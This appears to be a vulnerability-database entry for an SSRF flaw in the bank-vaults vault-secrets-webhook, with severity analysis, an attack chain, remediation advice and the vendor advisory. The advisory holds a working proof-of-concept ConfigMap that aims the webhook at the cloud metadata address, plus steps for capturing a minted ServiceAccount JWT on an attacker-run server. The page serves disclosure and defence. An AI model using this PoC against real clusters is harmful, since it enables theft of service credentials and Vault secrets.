Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain ConfigMap/Secret write in watched namespace
-
DeliveryCraft object with vault-addr and vault-serviceaccount annotations
-
ExploitWebhook parses annotation, mints SA JWT
-
ExecutionWebhook POSTs token to attacker address
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PersistCapture Bearer JWT / reach IMDS
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ImpactReplay JWT against real Vault to read secrets
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the attacker can create or update a ConfigMap or Secret in a namespace watched by the vault-secrets-webhook, and that the object contains at least one value prefixed with vault: (which triggers newVaultClient and the outbound call). For the SSRF-only path, only the vault.security.banzaicloud.io/vault-addr annotation is needed; the vault-skip-verify annotation additionally lets the attacker use a plain-HTTP or invalid-TLS endpoint by setting InsecureSkipVerify. For the ServiceAccount JWT theft path, the vault-serviceaccount annotation must name a SA in the object's namespace, and the webhook must retain its cluster-wide serviceaccounts/token:create grant (default in the shipped RBAC). Cloud-credential escalation via IMDS additionally requires the cluster to run on a provider exposing a reachable metadata service (e.g., AWS EKS with IMDSv1). Limiting factors: the attacker needs pre-existing write access to ConfigMaps/Secrets in a watched namespace (PR:L, not fully unauthenticated), and clusters that restrict the webhook's namespaceSelector or that enforce IMDSv2 significantly reduce impact. |
| Impact | The signals mostly align on high real-world risk, tempered by the required foothold. The CVSS 9.6 vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N) reflects network reach, low complexity, low privilege, no user interaction, and a scope change (webhook acts on behalf of other identities) - consistent with the description, where the only prerequisite is ConfigMap/Secret create-or-update in a watched namespace, a right commonly delegated to tenants. A publicly available PoC lowers the practical barrier, and the SSRF reaches cloud IMDS (e.g., AWS EKS IMDSv1) and internal services, so exploitation is plausibly automatable against multi-tenant clusters. Counterbalancing: this is a niche infrastructure add-on, not ubiquitous software, so real exploitation is likely targeted rather than widespread - consistent with the absence of a KEV listing. No EPSS score was provided in the input, so probabilistic exploitation likelihood cannot be quantified here; the assessment rests on CVSS, the vendor-confirmed patch, and the reporter PoC. No SSVC decision data was provided. |
| Exploit ScenarioDerived | A tenant who can create ConfigMaps in a namespace watched by the webhook submits a ConfigMap carrying a vault: data value plus the vault-addr, vault-skip-verify, and vault-serviceaccount annotations pointing at an attacker-run HTTP server (or cloud IMDS). At admission, the webhook mints the named ServiceAccount's JWT and POSTs it to the attacker address, letting the attacker capture the Bearer token and replay it against the real Vault, or reach internal/IMDS endpoints from the webhook pod's identity. A working PoC is published in the advisory, and the low-complexity, no-interaction nature of the flaw makes it straightforward to reproduce. |
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Alert meAnalysisAIv1 – Jul 31, 2026
Server-side request forgery in bank-vaults vault-secrets-webhook (<= 1.22.2) lets a low-privileged tenant with ConfigMap or Secret create/update rights in any watched namespace force the cluster-wide admission webhook to make attacker-controlled outbound HTTP requests and exfiltrate ServiceAccount JWTs. The webhook trusts the vault.security.banzaicloud.io/vault-addr annotation with no scheme validation or host allowlist, then synchronously mints a SA token (via cluster-wide serviceaccounts/token:create) and POSTs it to the attacker's address, which can be replayed against the real Vault. A vendor patch (v1.23.1) exists and the reporter published a working PoC, but there is no public exploit identified in the wild and the flaw is not in CISA KEV.
RemediationAI
Vendor-released patch: 1.23.1 - upgrade the vault-secrets-webhook (and Helm chart) to v1.23.1 or later (https://github.com/bank-vaults/vault-secrets-webhook/releases/tag/v1.23.1, fix commit https://github.com/bank-vaults/vault-secrets-webhook/commit/76db45976fee0f54cafd94dffa425e6b542f65a0); the fix adds address validation for object-supplied annotations, a vault_addr_allowlist, a vault_allow_private_addr toggle (default off, blocking RFC-1918/link-local/IMDS), and vault_allow_object_skip_verify (default off) so vault-skip-verify from objects no longer disables TLS. After upgrading, set an explicit vault_addr_allowlist to your legitimate Vault endpoint(s) and leave vault_allow_private_addr and vault_allow_object_skip_verify at their secure defaults. If you cannot patch immediately, narrow the webhook's namespaceSelector so it does not watch tenant/untrusted namespaces (side effect: secret injection stops working in those namespaces), remove or restrict tenant create/update RBAC on ConfigMaps and Secrets in watched namespaces, and at the platform level enforce IMDSv2 with a hop limit of 1 to blunt the cloud-metadata exfiltration path (side effect: legacy IMDSv1 clients break). Additionally scope down or remove the cluster-wide serviceaccounts/token:create grant in the webhook ClusterRole if your usage permits, to limit SA-token theft blast radius.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the bank-vaults vault-secrets-webhook, a Kubernetes mutating admission webhook (Go package github.com/bank-vaults/vault-secrets-webhook) that injects HashiCorp Vault secrets into workloads by resolving vault:... references at admission time. The root cause is CWE-918 (SSRF): parseVaultConfig() in pkg/webhook/config.go:102-107 copies the vault-addr annotation directly into vaultConfig.Addr, and newVaultClient() in pkg/webhook/webhook.go:285 assigns it to clientConfig.Address before vault.NewClientFromConfigWithContext opens the connection - all inside the privileged webhook process during the synchronous admission review rather than in the user's pod. Two design decisions amplify the SSRF into credential theft: the vault-skip-verify annotation sets InsecureSkipVerify:true so no valid TLS certificate is needed, and the webhook's ClusterRole grants serviceaccounts/token:create cluster-wide, so the vault-serviceaccount annotation selects which SA's JWT is minted via the TokenRequest API and sent to the attacker endpoint.
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Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Reachable over the API server with only ConfigMap/Secret write (PR:L, AC:L, UI:N); the webhook acts on other identities (S:C) leaking SA tokens/secrets (C:H) and enabling forged requests (I:H), no availability impact.
Primary rating from Vendor (https://github.com/bank-vaults/vault-secrets-webhook).
CVSS VectorVendor: https://github.com/bank-vaults/vault-secrets-webhook
DescriptionCVE.org
Summary
The vault-secrets-webhook reads the vault.security.banzaicloud.io/vault-addr annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with vault:, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants serviceaccounts/token:create cluster-wide, and the vault-serviceaccount annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs.
Details
parseVaultConfig() at pkg/webhook/config.go:102-107 reads VaultAddrAnnotation unconditionally into vaultConfig.Addr:
if value, ok := annotations[common.VaultAddrAnnotation]; ok {
vaultConfig.Addr = value
}No URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter.
MutateConfigMap and MutateSecret at pkg/webhook/configmap.go and pkg/webhook/secret.go call mw.newVaultClient(ctx, vaultConfig) when the object contains at least one vault:... value. Inside newVaultClient, at pkg/webhook/webhook.go:285:
clientConfig.Address = vaultConfig.Addrvault.NewClientFromConfigWithContext then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod.
The vault-skip-verify annotation (pkg/webhook/config.go:197) sets InsecureSkipVerify: true on the TLS config, eliminating the need for a valid certificate on the attacker's server.
When VaultServiceaccountAnnotation is also set, at pkg/webhook/webhook.go:
mw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken(
ctx, saName, &tokenRequest, metav1.CreateOptions{})The webhook's ClusterRole (deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml) grants serviceaccounts/token:create cluster-wide. The resulting JWT is then POSTed to vaultConfig.Addr/v1/auth/<path>/login. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role.
Proof of Concept
Create a ConfigMap in any watched namespace:
apiVersion: v1
kind: ConfigMap
metadata:
name: ssrf-poc
namespace: tenant-ns
annotations:
vault.security.banzaicloud.io/vault-addr: "http://169.254.169.254/latest/meta-data/"
vault.security.banzaicloud.io/vault-skip-verify: "true"
vault.security.banzaicloud.io/vault-serviceaccount: "high-priv-sa"
data:
secret-key: "vault:secret/data/test#value"When this ConfigMap is created, the vault-secrets-webhook admission handler:
- Parses the annotations and reads
vault-addr: http://169.254.169.254/latest/meta-data/ - Calls
CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, "high-priv-sa", ...)using cluster-wideserviceaccounts/token:create - Calls
vault.NewClientFromConfigWithContextwhich POSTs the JWT tohttp://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login - On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity
For the SA token theft path: run an HTTP server at the attacker-controlled vault-addr to capture the Authorization: Bearer <JWT> header from the login POST.
Impact
A user with create or update on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can:
- Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS
- Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access
The attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.
Articles & Coverage 1
Executive ViewAI
Banzai Cloud's vault-secrets-webhook (versions 1.22.2 and earlier) contains a critical vulnerability that allows authenticated users with basic Kubernetes permissions to intercept and exfiltrate all service credentials managed through the organization's Vault instance. Publicly available exploit code exists. This represents a complete compromise path for the organization's secrets and credentials infrastructure.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
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Severity: Critical| Product | Status |
|---|---|
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EUVD-2026-51591
GHSA-r2v3-8gwf-7ghm
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB